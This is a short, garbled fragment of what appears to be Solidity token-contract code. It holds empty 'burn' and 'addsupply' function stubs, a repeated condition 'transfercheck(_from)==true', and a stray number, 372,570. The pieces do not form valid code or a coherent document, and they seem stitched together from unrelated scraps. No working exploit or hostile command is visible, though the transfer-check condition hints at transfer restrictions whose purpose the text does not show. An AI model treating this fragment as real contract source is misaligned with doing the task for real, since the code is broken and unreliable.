} function burn(uint256 amount) public { } function addsupply(uint256 amount) public { } }
transfercheck(_from)==true
372,570
transfercheck(_from)==true